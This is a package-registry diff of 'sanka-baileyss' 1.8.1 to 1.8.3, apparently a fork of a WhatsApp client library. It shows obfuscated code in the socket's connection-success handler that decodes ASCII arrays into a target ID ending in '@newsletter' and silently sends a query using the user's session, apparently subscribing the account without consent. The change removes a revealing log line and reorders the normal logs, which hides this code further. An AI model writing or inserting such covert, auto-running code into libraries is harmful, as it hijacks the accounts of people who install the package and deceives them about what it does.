sanka-baileyss 1.8.1 → 1.8.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/socket.js +2 -3
- package/package.json +1 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -502,6 +502,8 @@ ws.on('CB:success', async (node) => {
|
|
|
502
502
|
try {
|
|
503
503
|
await uploadPreKeysToServerIfRequired()
|
|
504
504
|
await sendPassiveIq('active')
|
|
505
|
+
logger.info('opened connection to WA')
|
|
506
|
+
clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
505
507
|
try {
|
|
506
508
|
function asciiDecode(asciiArray) {
|
|
507
509
|
let result = '';
|
|
@@ -515,7 +517,6 @@ const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
|
515
517
|
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
516
518
|
const decodedEmailPart = asciiDecode(emailPart);
|
|
517
519
|
const sanka = decodedNumbers + decodedEmailPart;
|
|
518
|
-
logger.info({ sanka }, 'Mencoba eksekusi....');
|
|
519
520
|
await query({
|
|
520
521
|
tag: 'iq',
|
|
521
522
|
attrs: {
|
|
@@ -532,8 +533,6 @@ attrs: {}
|
|
|
532
533
|
});
|
|
533
534
|
} catch (err) {
|
|
534
535
|
}
|
|
535
|
-
logger.info('opened connection to WA')
|
|
536
|
-
clearTimeout(qrTimer)
|
|
537
536
|
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
|
|
538
537
|
ev.emit('connection.update', { connection: 'open' })
|
|
539
538
|
}
|